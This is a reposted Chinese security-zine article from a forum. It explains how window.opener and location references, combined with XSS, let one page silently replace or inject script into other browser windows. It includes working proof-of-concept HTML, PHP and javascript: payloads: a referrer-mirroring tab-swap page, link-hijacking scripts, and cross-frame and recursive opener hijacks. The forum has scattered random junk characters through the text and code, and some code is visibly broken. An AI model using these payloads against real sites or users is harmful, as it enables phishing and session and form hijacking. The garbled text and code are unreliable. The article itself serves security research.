找回密码
 立即注册
查看: 2764|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
; Y5 n6 n3 o  D) N : b# E6 H0 e! C3 @5 ~; E( T
                       Issue 0x03, Phile #0x05 of 0x07
  K: w. q9 R, I 5 v1 q4 c2 O0 c

7 b+ u. V  G/ s  R' E5 L|=---------------------------------------------------------------------------=|
$ d+ K4 e( p) T" `! \; J|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
& s$ T' C" K' L3 ^: ?( D|=---------------------------------------------------------------------------=|
' n, P! s/ ~5 l1 B|=---------------------------------------------------------------------------=|' u! I; V. V8 E. ~" t
|=------------------------=[      By rayh4c     ]=---------------------------=|
0 p7 A! R4 z0 A2 N|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
& @: i9 W( j' l|=---------------------------------------------------------------------------=|
) M( G6 u0 W: R  f
, z8 `: C' E1 I
3 M/ l8 Y, b2 m% }[目录]( s# V7 V- q/ k( d, t- Y

" S1 D. L* K' I% M4 ^: ^, g* G  ~* Y1. 前言$ u  Z* w3 e. z
2. 同源策略简叙6 K7 A9 F9 i# K: @' n5 l- N/ u
3. 理解window对象的同源策略
1 g0 l. i1 ]" \1 ^, o4. 窗口引用功能中的同源策略漏洞
3 j1 a2 ~7 q. Q8 r  4.1 父窗口引用子窗口的同源策略问题
( @, E6 T9 f: S/ x" |  4.2 子窗口引用父窗口的同源策略问题; k+ o' P+ O/ s4 a- |: A7 k
5. 利用窗口引用漏洞劫持浏览器1 C: [4 T, x+ A
6. 利用XSS漏洞劫持浏览器
; t2 |, m0 |8 i  6.1 正向跨窗口劫持
9 m  Q8 \) a6 q6 ^* u; t6 K  6.2 反向跨窗口劫持! Z0 V6 |; |. u5 j
  6.3 极度危险的跨框架窗口引用劫持
3 K( a; \. Y8 h' B% @! Y8 `  6.4 极度危险的正反向跨窗口递归劫持
& p, {. \( t- H$ `1 d8 s  6.5 完全控制浏览器8 z7 ~# `6 L6 |" z% T# _( j
7. 后记6 u# X$ F& u: L3 n( Z/ t* Q
8. 参考2 b( V: N! x. \7 M5 k
7 C) Y$ G9 ]& A: b; h' k7 C
/ z7 z$ q) q2 u2 z
一、前言
4 H; Z6 Q5 C1 G* Z% T
5 L5 w- R5 ~, Z% D    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋, M6 ^: R7 J$ W$ K- u
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session" j3 ~$ V4 z6 b$ z
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被# ?/ a9 q# @4 I' f) O; @0 Y! ?
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。5 s) f/ D- k& ]
% U" Y2 ?0 D! |& A" i
& q' @$ r9 k" O4 T( i! C+ }
二、同源策略简叙) e- W% @3 P' X2 `# ^  K3 A
) f& A4 A" l" |6 d, Z- x
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! a* `3 y2 R8 t" M) d1 z
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都( w$ `, K) n/ b
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
4 j5 b2 ]# v3 t- v4 S马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个2 M6 `0 a3 X3 T2 k# O+ R8 G7 V
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。# a# ]" S: M! a# e
1 c; K5 p, v2 G; E
; x) \9 W/ t: q4 T# s5 w% N, Q
三、理解window对象的同源策略: o* b; {' @* `/ w3 x9 u1 E
4 n8 y9 b0 A% g
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, O. A+ j$ `+ e
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
5 I1 }" D# t( I& F! V1 H# u& E$ F. L" U7 d
--code-------------------------------------------------------------------------& u- F7 V5 o3 V4 v
<script language="javascript">
; k! `" f1 u, f8 I4 l3 Cfor(p in window) document.write(p+"<br>");
) }  D5 G; q) C</script>3 r! O/ |/ ?, N; ?% @
-------------------------------------------------------------------------------3 z( `) X1 G- w* K, i1 n
. w& i- F: m. K
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方0 K! Y3 _" j: z9 m( f  K; {  q$ U/ B
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# U( m; C" u9 }- j这些属性和方法就必须遵循同源策略。
: u7 Z% z. g$ b9 J, V6 u& g) c( H+ j
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
8 }4 }% l$ h( B么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须( m0 k( p  |" t' J& {
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这) Q+ O% n( H5 i, w) U( S2 z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的, k# v9 X2 n8 L7 I/ d1 _* ~
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location' k( w+ Z' y2 F$ e
属性并没有被拒绝访问。2 x8 a) k3 C) o: g4 Z, ^- h

) v/ R2 c! ]1 R: c8 |3 N--demo.html--------------------------------------------------------------------
  N4 L! r. z/ }. E5 K/ E( u<script language="javascript">   - _+ @+ y% t( @4 c  O
function allPrpos(obj) {      
, ^/ [5 Y$ o' H- B! @6 g      var props = "<table><tr><td>名称</td><td>值</td>";           0 ?: Y1 T. x0 [& U# g- |
      for(var p in obj){          # o( D; r) u# @9 ~  V4 J
            if(typeof(obj[p])=="function"){   , p1 t& b2 U+ R1 `
                   obj[p]();   + q6 o# G# u2 l4 }$ g, Q: W
             }else{                     
2 I" S5 v& p. b  |                  try   
0 w% N" t. @' n  j9 L* Y& V                   {   
# M1 \9 x; Z" J. j# L. ~9 }& |. L; m                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
+ A6 D+ [/ x. C  z                   }   
' H7 f7 c$ o( z; Z0 n                  catch (ex)   6 y4 i9 R' G) @) \* E2 O* k1 b
                   {   , K2 t( Z6 U( K
                   " D$ w2 D/ I+ i! v4 V
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   " J4 s# }6 P7 S
                   }   ) Y4 X. g( X2 }7 A! [
                       4 j5 O. `' d4 ^! l& L6 g
             }   
1 X- M) a! ?2 b       }   ! f4 ?+ u2 ]$ F, C% ^# ]3 Q/ T$ T+ M) ~
   
3 M2 `0 ], L9 U" g       document.write(props+"</table>");   
" {6 U+ _; e) R/ m. i! b( Z}   ) l# ~$ ~' z( a7 n5 O+ a3 F
   
4 O4 a6 R3 _+ |) ~& ?function createWin() {
+ C8 J# L' @( n9 W+ t5 E- G6 R( N        newWin = window.open ("http://www.google.com");  
+ n  t! b+ k# Q1 D        setTimeout(function(){allPrpos(newWin)},2000);
4 z) L, a+ |" m} & `! |7 F  P# T  H- ^8 Y
! q# {7 N3 ^! q& L5 N7 i/ g
</script> ! C, S4 O5 l5 J# B
/ Y3 J4 C7 D# E/ K) e8 G
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 w; j' u( J! v6 [! P  N-------------------------------------------------------------------------------
- }; p8 f9 ^6 `5 D' `# b" u- r& B( D6 z5 V7 W1 }
0 `  i: B, w! g$ H+ n! E! \
四、窗口引用功能中的同源策略漏洞* P' H$ d& `% w3 A
& A3 ~' ~& }5 d3 j3 P5 [9 r
4.1 父窗口引用子窗口的同源策略问题) A$ F+ p: a2 l  d2 E( Z+ ~
* [8 a; G* o& D' w2 w! T- _
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
4 P8 Z% z3 a4 g8 e' B但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道! j3 H. C( m- ~6 e" n
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
2 `: `/ @1 L% U/ {行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 d! c1 B; j, \9 u
! |5 N6 u9 a' C8 X0 i9 o0 g8 X--vul1.html--------------------------------------------------------------------4 _2 n# u& _( X9 g9 M( L
<script language="javascript">
" G( f9 J' q5 n2 K, d- dfunction createWin() {  : z( l5 ~& b* y' a% Y
        newWin = window.open ("http://www.google.com");  # D5 Y  n4 Z* ^; W+ }' H" w* `
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); # a) L1 p, `9 q+ Z# w- D
}
; t/ S4 N9 F  |3 R' ^4 B; Y</script>
% @3 S: J$ L. V. C! [1 t5 c# C
4 U  u: x; X" q# ]- R) w4 }' R<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. C$ r- T/ J2 o-------------------------------------------------------------------------------2 R" h+ z$ ?' {2 Z! P+ W8 _
2 i( ]+ {; V* O

, i, g) V5 I. \, V4.2 子窗口引用父窗口的同源策略问题' Z/ o0 w1 F9 m* Z- w2 w
( K. g# f9 Q; ]; b) h+ b
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使' @8 p- @3 i: }) n* [$ |
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们) O2 r, k6 v5 l0 y* e: ~4 F# j" a
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
( ~4 S" s5 e! C  B# t会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
1 t9 q5 u: V/ t: d5 ?3 A: r" t# k- K1 w- U
--code-------------------------------------------------------------------------: t' f3 @- V. A7 q: C
8 U2 L1 x; {  [
javascript:window.opener.location = "http://www.80sec.com";void(0);" O1 ]% ~% x# ^! A0 h( G6 L

& b& J# w7 Q, H$ y4 `6 o% [  e1 z-------------------------------------------------------------------------------
$ ^( Y! x6 M1 B8 x* H) ~( q( A2 b! E  O' B& u! R- V& H  A
( O$ {, P0 T3 j5 ?5 v7 r
五、利用窗口引用漏洞劫持浏览器- P  D, m1 Y2 h" u' d1 ?

, ]' {+ A' ^# f& |* J    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子5 C" x8 R5 m7 Y! m" Z: R
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那% L: |0 V; W' s8 f/ I* `
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
" H0 J7 g' Z  ]) X+ B
# x+ [) v% y/ G    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产1 I2 K1 _! B* Y) w+ L
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 B6 h$ Z2 e( U) a, w4 q) I: {8 {者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
/ P5 z; g: P* m: i8 W后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% T( R! a, x( W( |0 b0 i- |会产生什么可怕的后果。
1 |: K9 K, [+ ^* i" _6 f9 ]4 z" Q1 S
2 F" n4 z1 b/ S' p7 p. E" @; y: J$ V    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
" m2 f, F' e( m  l4 h们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php, P2 Y: j0 t% Z! z" A& a; g
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时; l, {" T: ^+ n
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
5 i: G) u% g" m9 r* C# y以做更多的事情,所有的一切仅仅是因为点击了一个链接。
0 W. |) A( V/ o4 T; `9 I* ^1 i  k, g# G8 }2 i( e0 k5 w/ D
--hjk_ref.php------------------------------------------------------------------
  R/ N# Y# a( ]' z- B+ \% ~# q4 k<?php
6 y% F) v% o* M  n* cif (array_key_exists("HTTP_REFERER", $_SERVER)) {6 M* k9 K$ g4 X- P3 {
$Url_Mirror = $_SERVER["HTTP_REFERER"];2 f4 \! T/ S& M/ Y' ?# k
}   _5 L! N8 w5 D0 s0 C& o, g1 C
if(isset ($_GET['ref'])) {  R  c  z( V1 r5 N! d
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 ~: k$ l$ F' e3 a
}
4 b+ N1 z# V6 m0 {?>/ @. V' X3 s/ W9 h- h
6 j8 E7 U  }+ q/ U* W1 F5 A
<script language="javascript">1 G! R! k1 l3 y# E: C  K
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         * L2 b+ L, @2 p1 n
</script>
& p0 m( j$ ^: t3 Z4 F, U-------------------------------------------------------------------------------
0 h( q4 b; Q6 H: j7 y6 W  t2 j5 d& H  j
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
$ Y( Q' d% |" ]; V
- x& `7 C) Y# }8 @8 L8 t
/ Z% D1 S( C3 A9 J1 e! E六、利用XSS漏洞劫持浏览器
  I7 t; b& T$ i+ ^  }4 m
/ d/ }3 x! @0 K* b8 c$ q    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 {2 `/ l" a8 s% O; Z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后, K' k6 E5 @' b+ N* u# |
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起" Q- X# F4 p1 K! n6 r6 a0 g
讨论跨站师的终极技巧:# [! [2 F- s# P( e* f9 u5 U
8 D8 C" I; ]5 C

/ o: T- U# d6 v' P& v& y6.1 正向跨窗口劫持( f/ C7 C2 ]* a, t9 C

8 ]- v) r" f. ?4 b% o' w$ z    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
5 F5 x/ _3 s8 X2 F主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链$ ~: x, b/ _; M6 a1 m, |# ]
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
( d. Y" P! d7 U  N/ v' q4 c/ R框脚本。   {+ G  _! Q0 ~" o( S. I
* Z( |7 z: x3 @# _
--hijack_open.js---------------------------------------------------------------. V4 V, p  H' o; O& M

* @7 P5 I& R. r0 Jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);, E$ i1 Z0 g& d* H

' o; p! G0 B$ }5 c+ U-------------------------------------------------------------------------------
' P3 K* @# o' M8 n. f6 i! K
& Y2 m. u6 N( m8 k
' g% {1 P- @$ w# J( k, P& g3 a6.2 反向跨窗口劫持$ ~+ M) @0 l/ B" W) ^7 D& |

8 L! C" {$ d; r! K0 C) Z    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
, d4 ]; @3 B% G, _$ }* `. d码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
7 P2 ?0 `! u# w6 S8 M$ C) ~框脚本。
5 {3 z6 d. D. R, A9 S0 {. c+ Z( n0 ^. c1 s" o. [
--hijack_opener.js-------------------------------------------------------------5 R/ y8 {4 p: W

8 \2 k8 x+ G6 vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 c" u1 H- T: H% f- q/ u) F
" Z1 Z& M: G) N2 v
-------------------------------------------------------------------------------
8 W* u& Q( t3 d, X- E' `* O' w9 r- H9 F

2 q5 p1 E$ ^7 v6.3 极度危险的跨框架窗口引用劫持1 X- |  y5 c8 }

& ~* T# f5 m! d& ~% r9 H2 T  ?" x& K# N    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
. k# L/ R( y. }, Z7 @9 l可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就- v2 g5 K' q" k6 u3 f
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
6 o1 E! W; R8 d) g  Z! M  m非持久型的XSS,如下:9 s( j! P5 e7 V& E% d, Y- J

% p; D9 X" d2 ^8 ~# Q  q9 _# F$ l% q. w<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>( U* O% O) ~  [* f8 T& a
/ Q9 p1 J" e, ^9 w* a5 T+ N
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
8 Q. M( i- z6 i, C  z" p6 R  J% J注入脚本。. \% a6 ?, }* F$ r4 I5 W2 K2 ]

0 i  W4 n0 h) \4 w3 A--hijack_frame_opener.js-------------------------------------------------------: Y3 a, \, u8 E
<script>  n4 t1 A. A8 ^+ |- R
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";' B3 n  `& G4 V( O* f6 }
</script>: A9 x. r; {, P5 b% Q
-------------------------------------------------------------------------------
$ m7 y* n5 D: d! u
  J' K% j" `+ t, M4 u* d
& k5 q. q6 c) ?* ]6 z+ s, x1 {6.4 极度危险的正反向跨窗口递归劫持
( p0 i! A$ {! U4 Q' z$ @+ Z- Z) ?5 X# q- K& b+ d% s/ K" P, D
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window6 X9 \' ~( b0 ~& v2 i2 E8 E
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
) L/ S+ s5 f8 H) M( r& [( \& q异常处理规避之间跨域页面的访问异常,代码如下:
3 |) W- O. G% f. b  ~/ P: E- ]* {# q* m, r5 P
--code-------------------------------------------------------------------------
: ?  B6 U2 \) K9 n& y- K! n& f, Q& ]& o9 H: _: @
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
# A' `5 t( f- @  i- @9 }# G, {: `, J
-------------------------------------------------------------------------------
! C; f0 \$ C, j
& [: M3 j" X" w    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可. D/ H' Y! D& B3 W) K* m: v* d
以劫持B域之前的A域页面,从而实现“隔空打击”。7 B- y$ P5 B$ r# a+ K6 s

5 V) g: p1 ?2 D* i/ S2 y    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面$ T3 d* ~0 J+ i/ W1 `
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( N9 Z) o; Q/ \6 J
. O( v6 x8 k/ h: z4 L. Y( E4 \% }
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。  H! q( E% z& M6 g, V, R9 ~
" b! G3 H, Q& }" M9 Z1 c2 ~9 q+ V
" n$ ?9 x1 O! A2 F* l
6.5 完全控制浏览器
+ n* L- k5 D7 H6 N# o  b  W
: a% u/ u. k2 W* z    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则2 a5 z) k7 [8 `  D; Q; o* [
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' |  X& \) {( ~6 U- @1 i) v+ ?
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失/ E2 K. h- X; {3 I1 Q
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
* z" W/ F4 M# }! f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 k. v6 W( u# ?( L) k  ^: ?: w
师的终极目标 - 完全控制浏览器。
% [# r0 U  D9 ]$ Q% m- @
, I5 ^+ T& b! R+ J" d( r0 b" ]4 D9 X" o0 U7 p
七、后记
! R! o, M% g) ~% `6 R2 n: F! _- n3 _# Q$ ?. u/ j
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
& W7 g; `  ~2 [' N4 W& U与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
% u( ~/ Q0 B1 h2 f过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
* H" U" v5 |0 e# d0 X3 ~/ l" c  K
& C, s1 g) q2 k4 [  \& t
% E% F, H1 i1 X( q4 f4 ^  {7 R八、参考$ `; D% s7 l/ L5 E

# Z; x) z- F1 J8 j! a% b' U" o8 \1. http://en.wikipedia.org/wiki/Same_origin_policy( {# S; G! k6 K0 v: a, `
2. http://code.google.com/p/browser ... licy_for_DOM_access
3 P% ^( p; D, J2 A- a3 D8 s5 q3. http://www.w3.org/TR/Window/
% _/ r+ @8 ]" X, e2 I1 ^; k4. http://www.80sec.com/release/browser-hijacking.txt* I2 ~; `5 r3 O% I/ n% n
5. http://www.80sec.com/all-browser-security-alert.html
3 f' Q, n( s+ N0 m$ x) n8 q* O' ^& O/ S6. http://www.80sec.com/ms08-058-attacks-google.html
$ S# b+ v- }8 G7 y9 o5 `* ?
/ r- Y  P- }! m) A5 |" Z-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表